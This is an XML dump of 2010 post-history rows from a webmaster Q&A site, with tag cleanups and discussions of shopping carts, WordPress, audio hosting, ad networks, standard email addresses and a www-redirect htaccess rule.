  <row Id="3811" PostHistoryTypeId="6" PostId="1220" RevisionGUID="09449507-164f-4bcf-8cb5-18f1f4e1f4e3" CreationDate="2010-08-08T06:07:12.283" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="3812" PostHistoryTypeId="6" PostId="1208" RevisionGUID="ccca1c0c-d913-443b-9eca-51f5c16ae2cc" CreationDate="2010-08-08T06:07:45.060" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;moderation&gt;" />
  <row Id="3813" PostHistoryTypeId="6" PostId="1083" RevisionGUID="5ef8d5fd-e3ad-4ef9-9ebc-5c74567f60d8" CreationDate="2010-08-08T06:08:18.210" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;seo&gt;&lt;website-design&gt;&lt;navigation&gt;" />
  <row Id="3814" PostHistoryTypeId="6" PostId="1082" RevisionGUID="ed2c690a-b8b8-45c0-9d08-72e094873714" CreationDate="2010-08-08T06:08:46.023" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;content&gt;&lt;navigation&gt;" />
  <row Id="3815" PostHistoryTypeId="6" PostId="940" RevisionGUID="389c418d-933a-47b7-a2ef-a036ce0f264f" CreationDate="2010-08-08T06:10:06.800" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;images&gt;" />
  <row Id="3816" PostHistoryTypeId="6" PostId="863" RevisionGUID="9e97252e-f33f-4847-8c59-16944c7b946d" CreationDate="2010-08-08T06:10:26.847" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;html&gt;&lt;css&gt;&lt;print&gt;" />
  <row Id="3817" PostHistoryTypeId="6" PostId="841" RevisionGUID="bbe595ea-c606-4ec1-b7ef-79924205280d" CreationDate="2010-08-08T06:11:38.200" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;site-deployment&gt;&lt;development&gt;" />
  <row Id="3818" PostHistoryTypeId="6" PostId="565" RevisionGUID="8a4cb60e-ae4e-4d2b-b252-ec0523dce8f9" CreationDate="2010-08-08T06:12:02.317" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;security&gt;&lt;cookie&gt;&lt;authentication&gt;" />
  <row Id="3819" PostHistoryTypeId="6" PostId="548" RevisionGUID="7aa2a2e5-8cbb-4b86-b4f2-e8d83c5b0710" CreationDate="2010-08-08T06:12:19.413" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;content&gt;&lt;standards&gt;" />
  <row Id="3820" PostHistoryTypeId="6" PostId="530" RevisionGUID="3e9e8ae3-62c0-4107-86e7-ee1c374df7cc" CreationDate="2010-08-08T06:14:34.663" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;html&gt;&lt;flash&gt;" />
  <row Id="3821" PostHistoryTypeId="6" PostId="516" RevisionGUID="41525941-60b1-4bf7-847d-7cdce50aef04" CreationDate="2010-08-08T06:14:49.593" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;css-framework&gt;" />
  <row Id="3822" PostHistoryTypeId="2" PostId="2016" RevisionGUID="2cf1c2f1-d222-4086-b437-f3475058a5ca" CreationDate="2010-08-08T07:04:53.897" UserDisplayName="user1364" Text="Google is carefully tracking load time. Most carts I see fail miserably here. &#xD;&#xA;&#xD;&#xA;Does anybody know of a shopping cart that follows W3C rules so it will validate? Or at least come close? So many are a disaster in the validator. &#xD;&#xA;Also will display a user edited Title tag, Desc tag and have a good URL? &#xD;&#xA;Am I dreaming if I want a cart that does not rewrite the URL? &#xD;&#xA;&#xD;&#xA;Once I find a good cart, then I will chose a CMS system that will work with it. Or even HTML. I don't care. I just want a cart that works for SEO!&#xD;&#xA;" />
  <row Id="3823" PostHistoryTypeId="1" PostId="2016" RevisionGUID="2cf1c2f1-d222-4086-b437-f3475058a5ca" CreationDate="2010-08-08T07:04:53.897" UserDisplayName="user1364" Text="Shopping cart-SEO-HTML Validates" />
  <row Id="3824" PostHistoryTypeId="3" PostId="2016" RevisionGUID="2cf1c2f1-d222-4086-b437-f3475058a5ca" CreationDate="2010-08-08T07:04:53.897" UserDisplayName="user1364" Text="&lt;seo&gt;&lt;shopping-cart&gt;" />
  <row Id="3825" PostHistoryTypeId="2" PostId="2017" RevisionGUID="0ddda436-34dd-416e-afeb-ad0a4beec168" CreationDate="2010-08-08T07:18:00.493" UserId="745" Text="Try [Magento][1]. It's not perfect, of course, but it does many of the things you're looking for.&#xD;&#xA;&#xD;&#xA;Incidentally, HTML validation isn't a factor for SEO. Load time is, but it's only one of over 200 factors. Both are good things, but they need to be put in perspective.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/product/features" />
  <row Id="3826" PostHistoryTypeId="6" PostId="1690" RevisionGUID="cce1153f-8229-4f4b-82c9-7892ec579b88" CreationDate="2010-08-08T07:26:27.790" UserId="55" Comment="edited tags" Text="&lt;htaccess&gt;&lt;botattack&gt;" />
  <row Id="3827" PostHistoryTypeId="2" PostId="2018" RevisionGUID="680c66eb-920e-46ba-8f51-fb934af6b0dd" CreationDate="2010-08-08T07:38:05.357" UserId="1082" Text="**Wordpress**&#xD;&#xA;&#xD;&#xA;I am a big fan of wordpress for simple small sites.&#xD;&#xA;&#xD;&#xA;Strengths:&#xD;&#xA;&#xD;&#xA; - A large user base&#xD;&#xA; - Lots of templates&#xD;&#xA; - Tons of plug-ins to do anything and&#xD;&#xA;   everything you can think of &#xD;&#xA; - A quick development pattern (means we get&#xD;&#xA;   newer and better versions often)&#xD;&#xA; - A very simple and easy to understand&#xD;&#xA;   event/filter model (makes it easy to&#xD;&#xA;   develop plug-ins)&#xD;&#xA; - The Loop (everyone can make highly personalized templates&#xD;&#xA;   for wordpress) &#xD;&#xA; - Easy to extend with&#xD;&#xA;   custom post types and custom&#xD;&#xA;   taxonomies (new in WP 3)" />
  <row Id="3828" PostHistoryTypeId="16" PostId="2018" RevisionGUID="680c66eb-920e-46ba-8f51-fb934af6b0dd" CreationDate="2010-08-08T07:38:05.357" UserId="-1" />
  <row Id="3829" PostHistoryTypeId="6" PostId="1922" RevisionGUID="6c1dbd45-800e-4009-83f6-c0dfe749611b" CreationDate="2010-08-08T07:39:07.617" UserId="55" Comment="edited tags" Text="&lt;email&gt;&lt;bulk-email&gt;" />
  <row Id="3830" PostHistoryTypeId="5" PostId="2018" RevisionGUID="c4276c24-1419-4815-9bac-3b85998afe73" CreationDate="2010-08-08T07:53:32.590" UserId="1082" Comment="added weaknesses" Text="**Wordpress**&#xD;&#xA;&#xD;&#xA;I am a big fan of wordpress for simple small sites.&#xD;&#xA;&#xD;&#xA;Strengths:&#xD;&#xA;&#xD;&#xA; - A large user base&#xD;&#xA; - Lots of templates&#xD;&#xA; - Tons of plug-ins to do anything and&#xD;&#xA;   everything you can think of &#xD;&#xA; - A quick development pattern (means we get&#xD;&#xA;   newer and better versions often)&#xD;&#xA; - A very simple and easy to understand&#xD;&#xA;   event/filter model (makes it easy to&#xD;&#xA;   develop plug-ins)&#xD;&#xA; - The Loop (everyone can make highly personalized templates&#xD;&#xA;   for wordpress) &#xD;&#xA; - Easy to extend with&#xD;&#xA;   custom post types and custom&#xD;&#xA;   taxonomies (new in WP 3)&#xD;&#xA;&#xD;&#xA;Weaknesses&#xD;&#xA;&#xD;&#xA; - is really a blog engine not a CMS&#xD;&#xA; - only native support for 2 data types (posts and taxonomies)" />
  <row Id="3831" PostHistoryTypeId="6" PostId="116" RevisionGUID="ac654494-bb20-4cf8-aed7-01fab6cde826" CreationDate="2010-08-08T09:08:04.597" UserId="180" Comment="Cleaning up tags as per: http://meta.webmasters.stackexchange.com/questions/217/single-use-tags-and-synonyms" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="3832" PostHistoryTypeId="6" PostId="107" RevisionGUID="de904e58-423d-4abd-8e14-06233e3fa831" CreationDate="2010-08-08T09:08:42.753" UserId="180" Comment="Cleaning up tags as per: http://meta.webmasters.stackexchange.com/questions/217/single-use-tags-and-synonyms" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="3833" PostHistoryTypeId="6" PostId="1734" RevisionGUID="f7287c74-9f41-4052-b841-16744d2e7c53" CreationDate="2010-08-08T09:20:37.620" UserId="180" Comment="removed &quot;www&quot; meta tag.  It's not entirely meta as used here, but its meaning isn't immediately apparent in the tag list." Text="&lt;no-www&gt;" />
  <row Id="3836" PostHistoryTypeId="6" PostId="1734" RevisionGUID="295d880d-2468-4a26-b76d-125e8c846f59" CreationDate="2010-08-08T10:52:10.357" UserId="1111" Comment="edited tags" Text="&lt;htaccess&gt;&lt;no-www&gt;" />
  <row Id="3837" PostHistoryTypeId="2" PostId="2020" RevisionGUID="3b8e63c4-f579-490c-a171-3e8713ab3a46" CreationDate="2010-08-08T14:01:47.947" UserId="26" Text="It *appears* based on [this][1] and [this][2] that Android will use the `rel` type of `apple-touch-icon-precomposed` or `apple-touch-icon`, **BUT** that for it to work you need to use a fully qualified url, e.g.: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;apple-touch-icon-precomposed&quot;&#xD;&#xA;          href=&quot;http://www.example.com/custom_icon.png&quot; /&gt;&#xD;&#xA;&#xD;&#xA;or:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;apple-touch-icon&quot;&#xD;&#xA;          href=&quot;http://www.example.com/custom_icon.png&quot; /&gt;&#xD;&#xA;&#xD;&#xA;The caveat is that this seems to be for **Android 2.1 update 1** &amp; **Webkit 3.1**. The [Android developer documentation][3] does mention a method in `android.webkit` that is event when the `apple-touch-icon` is retrieved.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/node/742142&#xD;&#xA;  [2]: http://philwilson.org/blog/2010/01/adding-a-bookmark-to-an-android-home-screen&#xD;&#xA;  [3]: http://developer.android.com/reference/android/webkit/WebChromeClient.html#onReceivedTouchIconUrl(android.webkit.WebView,%20java.lang.String,%20boolean)" />
  <row Id="3838" PostHistoryTypeId="2" PostId="2021" RevisionGUID="70d30d6e-f923-4dab-ab86-d88096eb29eb" CreationDate="2010-08-08T14:57:00.513" UserId="582" Text="My current website includes some embedded YouTube (and Facebook) videos and I know there are numerous other video hosting websites.&#xD;&#xA;&#xD;&#xA;Is there a free hosting service specifically for audio files, for easy embedded playback through a flash/html5 interface?" />
  <row Id="3839" PostHistoryTypeId="1" PostId="2021" RevisionGUID="70d30d6e-f923-4dab-ab86-d88096eb29eb" CreationDate="2010-08-08T14:57:00.513" UserId="582" Text="The YouTube of Sound" />
  <row Id="3840" PostHistoryTypeId="3" PostId="2021" RevisionGUID="70d30d6e-f923-4dab-ab86-d88096eb29eb" CreationDate="2010-08-08T14:57:00.513" UserId="582" Text="&lt;embedded-control&gt;&lt;embed&gt;&lt;audio&gt;&lt;sound&gt;" />
  <row Id="3841" PostHistoryTypeId="2" PostId="2022" RevisionGUID="be4440b7-b7fd-4db2-8103-33b01456a235" CreationDate="2010-08-08T15:01:41.517" UserId="1366" Text="The benefits are numerous; but might not fit the same problems you are solving.&#xD;&#xA;&#xD;&#xA;Take for instance the simple use case of an online Store which sells Music. It'll generate a bunch of pages for its products, typically one feature page per product.&#xD;&#xA;&#xD;&#xA;Using RDFa and a few vocabularies you can describe that your page is selling a Track for $x amount; that the track is the same thing as an entry on musicbrainz or last.fm; or it's by the same artist as a particular myspace band page.&#xD;&#xA;&#xD;&#xA;At the first level; search engines understand the good relations vocabulary - products, prices, etc. The next level (and this is where the value is; but doesn't yet have enough implementors) - you have an instant RESTful API for anyone with an RDFa parser and a SPARQL database.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3842" PostHistoryTypeId="2" PostId="2023" RevisionGUID="06c4831f-02c3-4bb0-9498-e50cd983358d" CreationDate="2010-08-08T15:32:50.727" UserId="113" Text="&gt; Is there a free hosting service specifically for audio files, for easy embedded playback through a flash/html5 interface?&#xD;&#xA;&#xD;&#xA;**[yes, there are plenty**.][1] What type of playback is embedded on your site will take a little extra snooping, but not much. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.audiohostings.com/" />
  <row Id="3843" PostHistoryTypeId="2" PostId="2024" RevisionGUID="8324525e-63aa-4d49-8e19-da85a48ebd2e" CreationDate="2010-08-08T15:33:51.913" UserId="26" Text="I host mp3/audio files without worrying about bandwidth by moving them onto [Amazon S3][1]. I get good performance, and minimal charges (I host under a gigabyte of various content (high resolution images, mp3 files) and pay under $2/month. This is for maybe a dozen mp3 files as well as for a podcast.&#xD;&#xA;&#xD;&#xA;Now, the social aspects of YouTube, commenting, sharing, feeds, etc., I can't speak to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/s3/" />
  <row Id="3844" PostHistoryTypeId="5" PostId="2021" RevisionGUID="a80b0f3d-be39-4bb9-b113-8024a8481134" CreationDate="2010-08-08T15:40:51.587" UserId="582" Comment="add comment about social features" Text="My current website includes some embedded YouTube (and Facebook) videos and I know there are numerous other video hosting websites.&#xD;&#xA;&#xD;&#xA;Is there a free hosting service specifically for audio files, for easy embedded playback through a flash/html5 interface?&#xD;&#xA;&#xD;&#xA;(I'm not worried about social features, e.g. commenting)" />
  <row Id="3845" PostHistoryTypeId="5" PostId="1977" RevisionGUID="93e5a0de-11b1-445c-a63d-ec921f614fee" CreationDate="2010-08-08T15:45:58.123" UserId="1345" Comment="added 3 characters in body" Text="OMG, are you really keeping your own database up to date?  I'm so sorry about you...&#xD;&#xA;&#xD;&#xA;**First tip**: If you only need a very simple and minimal solution to detect brand and model, go with WURFL if you want it for free or DeviceAtlas if you can afford it.  The second one works probably better (just my personal opinion).&#xD;&#xA;&#xD;&#xA;Also, take a look at this comparision [DeviceAtlas vs WURFL][1]&#xD;&#xA;&#xD;&#xA;**Second tip**: As a general rule, it is a good idea to stay tuned with the W3C standards.  In that sense, the [DDR Simple API][2] (*Device Description Repository Simple API*) is the way to go. It describes an abstract API to access Device Description Repositories (DDRs).&#xD;&#xA;&#xD;&#xA;You can find an open-source reference implementation of that API in Java as part of [MyMobileWeb][3] project.  It allows you to access WURFL, DeviceAtlas (not 100% sure), [W3C DDR Core Vocabulary][4] (and maybe [UAProf][5]). That way you can access device properties with a unified API, that is also offered as a REST service (see [DDR REST service documentation][6]).&#xD;&#xA;&#xD;&#xA;You can [download][7] the latest 1.2 version.  I know they are working in a new version that could probably be released by october and a Rails implementation.&#xD;&#xA;&#xD;&#xA;What that means, in practice, is that you can develop your application using WURFL and later switch to another repository, keeping your code ideally untouched.  It is harder to install and use for the first time, but if you are building a big enterprise system, you'll save a lot of time in the future.&#xD;&#xA;&#xD;&#xA;I have to say I've previously worked on that project, I think it's worth a look in any case, despite W3C standards are usually hard to read.  Maybe there are other alternative implementacions of the DDR Simple API out there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mobiforge.com/forum/dotmobi/deviceatlas/deviceatlas-versus-wurfl-fallback-position&#xD;&#xA;  [2]: http://www.w3.org/TR/DDR-Simple-API/&#xD;&#xA;  [3]: http://mymobileweb.morfeo-project.org&#xD;&#xA;  [4]: http://www.w3.org/TR/2008/NOTE-ddr-core-vocabulary-20080414/&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/UAProf&#xD;&#xA;  [6]: http://forge.morfeo-project.org/wiki_en/index.php/DDR_REST_Service_1.2&#xD;&#xA;  [7]: http://forge.morfeo-project.org/wiki_en/index.php/MyMobileWeb_Platform#DevInfo_Simple_API_.26_REST_Service" />
  <row Id="3846" PostHistoryTypeId="2" PostId="2025" RevisionGUID="e532c952-8cd3-47bc-9e14-fe2e01541392" CreationDate="2010-08-08T17:54:51.410" UserId="1204" Text="For hosting the audio files yourself there are a number of pre-made flash objects you can use.&#xD;&#xA;&#xD;&#xA;The one at [http://flash-mp3-player.net/][1] is F/OSS and fairly flexible - I've used it to host a few mp3 files before now and found it to work perfectly well.&#xD;&#xA;&#xD;&#xA;Whether it is suitable for your needs or not depends on how much traffic you expect and how much bandwidth you can spare for the audio streams.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://flash-mp3-player.net/" />
  <row Id="3847" PostHistoryTypeId="2" PostId="2026" RevisionGUID="bf657b28-0c5c-4931-80af-f36d18ce8489" CreationDate="2010-08-08T18:00:40.010" UserId="1368" Text="I have a website where i most many of the programs i host, and im looking for alternatives for publishing ads.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I know about google adsense and adbrite.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;*Requirements are: &lt;br&gt;&#xD;&#xA;*Control over the ads.&lt;br&gt;&#xD;&#xA;*Regular ads.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Bonus:&#xD;&#xA;*Ability to control the ads via &quot;type&quot; like automaticly block moving/annoying clash ads&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;My site has over 20k pageviews a month.&lt;br&gt;" />
  <row Id="3848" PostHistoryTypeId="1" PostId="2026" RevisionGUID="bf657b28-0c5c-4931-80af-f36d18ce8489" CreationDate="2010-08-08T18:00:40.010" UserId="1368" Text="Advertisers for my web site" />
  <row Id="3849" PostHistoryTypeId="3" PostId="2026" RevisionGUID="bf657b28-0c5c-4931-80af-f36d18ce8489" CreationDate="2010-08-08T18:00:40.010" UserId="1368" Text="&lt;advertising&gt;" />
  <row Id="3850" PostHistoryTypeId="2" PostId="2027" RevisionGUID="0fd0a0c2-de16-40a2-b312-a5c7ff6ed8ae" CreationDate="2010-08-08T19:13:52.437" UserId="914" Text="Don't forget there is nothing stopping you using YouTube - your &quot;video&quot; can consist of a still image and then the audio. You could even use the video part to convey information about the audio as it is played. And you can [customise the look of the player via the API][1], if that is a concern.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/youtube/getting_started.html" />
  <row Id="3851" PostHistoryTypeId="5" PostId="2026" RevisionGUID="3fc68629-9ca1-458f-a385-15c2473e4399" CreationDate="2010-08-08T21:47:22.177" UserId="1368" Comment="added 89 characters in body" Text="I have a website where i most many of the programs i host, and im looking for alternatives for publishing ads.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I know about [google adsense][1] and [adbrite][2].&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;*Requirements are: &lt;br&gt;&#xD;&#xA;*Control over the ads.&lt;br&gt;&#xD;&#xA;*Regular ads.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Bonus:&lt;br&gt;&#xD;&#xA;*Ability to control the ads via &quot;type&quot; like automaticly block moving/annoying clash ads&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;My site has over 20k pageviews a month.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense&#xD;&#xA;  [2]: http://www.adbrite.com/" />
  <row Id="3852" PostHistoryTypeId="5" PostId="2026" RevisionGUID="597b6ced-148a-4c89-954a-9758c84095be" CreationDate="2010-08-08T22:39:27.427" UserId="108" Comment="Made grammar gooder!" Text="I have a website where I have many of the programs I host, and I am looking for alternatives for publishing ads.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I know about [google adsense][1] and [adbrite][2].&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;*Requirements are: &lt;br&gt;&#xD;&#xA;*Control over the ads.&lt;br&gt;&#xD;&#xA;*Regular ads.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Bonus:&lt;br&gt;&#xD;&#xA;*Ability to control the ads via &quot;type&quot; like automaticly block moving/annoying clash ads&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;My site has over 20k pageviews a month.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense&#xD;&#xA;  [2]: http://www.adbrite.com/" />
  <row Id="3853" PostHistoryTypeId="4" PostId="2026" RevisionGUID="597b6ced-148a-4c89-954a-9758c84095be" CreationDate="2010-08-08T22:39:27.427" UserId="108" Comment="Made grammar gooder!" Text="Alternative Advertisers for my web site" />
  <row Id="3854" PostHistoryTypeId="16" PostId="2026" RevisionGUID="48fd8ee7-8439-4c97-b601-b7cff188514d" CreationDate="2010-08-08T22:45:40.833" UserId="1368" />
  <row Id="3855" PostHistoryTypeId="5" PostId="2026" RevisionGUID="48fd8ee7-8439-4c97-b601-b7cff188514d" CreationDate="2010-08-08T22:45:40.833" UserId="1368" Comment="added 105 characters in body" Text="I have a website where I have many of the programs I host, and I am looking for alternatives for publishing ads. Reason why im asking is because traffic on my site has more then trippeled the ad revenue has gone down.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I know about [google adsense][1] and [adbrite][2].&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;*Requirements are: &lt;br&gt;&#xD;&#xA;*Control over the ads.&lt;br&gt;&#xD;&#xA;*Regular ads.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Bonus:&lt;br&gt;&#xD;&#xA;*Ability to control the ads via &quot;type&quot; like automaticly block moving/annoying clash ads&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;My site has over 20k pageviews a month.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense&#xD;&#xA;  [2]: http://www.adbrite.com/" />
  <row Id="3856" PostHistoryTypeId="5" PostId="2026" RevisionGUID="2ad15dc0-565e-4c19-aa6d-6e9ec9a989d8" CreationDate="2010-08-08T22:54:34.257" UserId="1368" Comment="Added more information, describing my experience with the different ad publishers." Text="I have a website where I have many of the programs I host, and I am looking for alternatives for publishing ads. Reason why im asking is because traffic on my site has more then trippeled the ad revenue has gone down.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I know about [google adsense][1] and [adbrite][2].&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;*Requirements are: &lt;br&gt;&#xD;&#xA;*Control over the ads.&lt;br&gt;&#xD;&#xA;*Regular ads.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Bonus:&lt;br&gt;&#xD;&#xA;*Ability to control the ads via &quot;type&quot; like automaticly block moving/annoying clash ads&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;My site has over 20k pageviews a month.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense&#xD;&#xA;  [2]: http://www.adbrite.com/&#xD;&#xA;&#xD;&#xA;**Adsense**&lt;br&gt;&#xD;&#xA;+No minimum requirements for traffic.&lt;br&gt;&#xD;&#xA;+No adult ads&lt;br&gt;&#xD;&#xA;+Some times gives out free ad money, so you can advertise you site.&lt;br&gt;&#xD;&#xA;-Very limted control over the ads ( You can block spesfic domains where the ads come from).&lt;br&gt;&#xD;&#xA;-Many &quot;scammy&quot; ads over products that seems to good to be true ( IE download X to fix your computer).&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;**Adbrite**&lt;br&gt;&#xD;&#xA;-Can't realy say much about them, i &quot;gave&quot; them 250k pageviews and i got less then 1 dollar in revenue back.&lt;br&gt;&#xD;&#xA;" />
  <row Id="3857" PostHistoryTypeId="2" PostId="2028" RevisionGUID="35bd0d08-e514-42b9-a4bd-5afb08975b00" CreationDate="2010-08-08T23:08:32.983" UserId="774" Text="Impossible to answer properly - the question is missing so much detail it looks like a [troll][1].&#xD;&#xA;&#xD;&#xA;Content Management Systems do different things for different people - for some its about making web publishing simple - for some its about managing a turnover of articles - for others its about distributing, selling and managing the intellectual rights associated with content. For some its about integrating billing with viewing / publishing of content....The term Content Management System is little more specific than Web based application. &#xD;&#xA;&#xD;&#xA;Why do you care? What is it you need to use it for? What are the constraints on your application? &#xD;&#xA;&#xD;&#xA;A quick search on Freshmeat turned up [90 listings][2] Are you expecting a review of them all?&#xD;&#xA;&#xD;&#xA;What has PHP got to do with it? Except in a very small number of highly specialized cases you shouldn't be looking for a tool based on the language its written in.&#xD;&#xA;&#xD;&#xA;Read [this][3] then ask a better question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Troll_(Internet)&#xD;&#xA;  [2]: http://freshmeat.net/search?q=content+management+php&amp;submit=Search&#xD;&#xA;  [3]: http://catb.org/esr/faqs/smart-questions.html" />
  <row Id="3858" PostHistoryTypeId="16" PostId="2028" RevisionGUID="35bd0d08-e514-42b9-a4bd-5afb08975b00" CreationDate="2010-08-08T23:08:32.983" UserId="-1" />
  <row Id="3859" PostHistoryTypeId="2" PostId="2029" RevisionGUID="ac274522-2c01-41db-96de-d3708d13054f" CreationDate="2010-08-08T23:15:08.903" UserId="774" Text="&gt; I've heard a lot about cms's like drupal, joomla, and wordpress. I've always hand-coded most of my PHP and HTML and done fine. What are the pros and cons of using a cms?&#xD;&#xA;&#xD;&#xA;People write books and build careers out of selling answers to that question. You're not going to get a proper, relevant answer here.&#xD;&#xA;&#xD;&#xA;Maybe if you provided some information about what the applications you write do then at least there would be a chance that the answers might be relevant to the question. The term Content Management System encompasses a huge variety of software.&#xD;&#xA;&#xD;&#xA;Stop and think about how you could be better and more productive as a developer. Make a list of things which are difficult, you spend too much time on, or are just plain boring. Maybe there is a CMS which might alleviate these. But without knowing what the problem you need to solve is, we can't provide a solution.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3860" PostHistoryTypeId="16" PostId="2029" RevisionGUID="ac274522-2c01-41db-96de-d3708d13054f" CreationDate="2010-08-08T23:15:08.903" UserId="-1" />
  <row Id="3861" PostHistoryTypeId="2" PostId="2030" RevisionGUID="92636391-060f-4178-8cd9-9396b759892b" CreationDate="2010-08-09T03:42:27.947" UserId="26" Text="A long time ago one used to be able to count on domains having addresses like `webmaster@example.com`, `postmaster@example.com`, or `abuse@example.com` ... is this convention dead? &#xD;&#xA;&#xD;&#xA;Note: I always try to make sure to make a contact available on the websites I put up, so people can contact us if necessary. But are there reasons to handle these or other &quot;standard&quot; email addresses I might not be thinking of? I set up less email addresses than I used to since spam got so awful, and a &quot;predictable&quot; email address just seems to be an invitation to the lousy spammers." />
  <row Id="3862" PostHistoryTypeId="1" PostId="2030" RevisionGUID="92636391-060f-4178-8cd9-9396b759892b" CreationDate="2010-08-09T03:42:27.947" UserId="26" Text="Should I set up standard email accounts? What are they?" />
  <row Id="3863" PostHistoryTypeId="3" PostId="2030" RevisionGUID="92636391-060f-4178-8cd9-9396b759892b" CreationDate="2010-08-09T03:42:27.947" UserId="26" Text="&lt;domains&gt;&lt;email&gt;&lt;email-address&gt;" />
  <row Id="3864" PostHistoryTypeId="5" PostId="1738" RevisionGUID="984cb4c2-dbf2-4009-b3d9-1da60d923d2e" CreationDate="2010-08-09T04:11:10.730" UserId="210" Comment="deleted 30 characters in body" Text="I would recommend redirecting all users to www. If you ever want to do any static file hosting then you don't have to worry about cookies.&#xD;&#xA;&#xD;&#xA;I've have a few clients who advertise their site without www, but I redirect the users to www and have Google index with www. I haven't had anyone complain.&#xD;&#xA;&#xD;&#xA;Here is what I've put in my .htaccess files:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;        # for www&#xD;&#xA;        RewriteCond %{HTTP_HOST}   !^www\.example\.com [NC]&#xD;&#xA;        RewriteRule ^(.*)          http://www.example.com/$1 [L,R]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;I haven't had any problems with this yet." />
  <row Id="3865" PostHistoryTypeId="2" PostId="2031" RevisionGUID="b1673480-a95a-4cb6-93b9-20ae6ce6f811" CreationDate="2010-08-09T04:36:52.157" UserId="1160" Text="[Commission Junction][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cj.com" />
  <row Id="3866" PostHistoryTypeId="16" PostId="2031" RevisionGUID="b1673480-a95a-4cb6-93b9-20ae6ce6f811" CreationDate="2010-08-09T04:36:52.157" UserId="-1" />
  <row Id="3867" PostHistoryTypeId="2" PostId="2032" RevisionGUID="04b1fecd-1b51-447d-96cb-8d2a5b3ace26" CreationDate="2010-08-09T04:47:05.060" UserId="1111" Text="Every RIPE LIR[1] must have a abuse@as123456.net account and the webmaster@, postmaster@ - (and one more) - addresses are used by most (all?) SSL Providers.&#xD;&#xA;&#xD;&#xA;So if you don't be a LIR and don't use certificates, you are free to set you're Mail address to anything you wan't.&#xD;&#xA;&#xD;&#xA;[1] http://www.ripe.net/info/faq/rs/ipv4.html" />
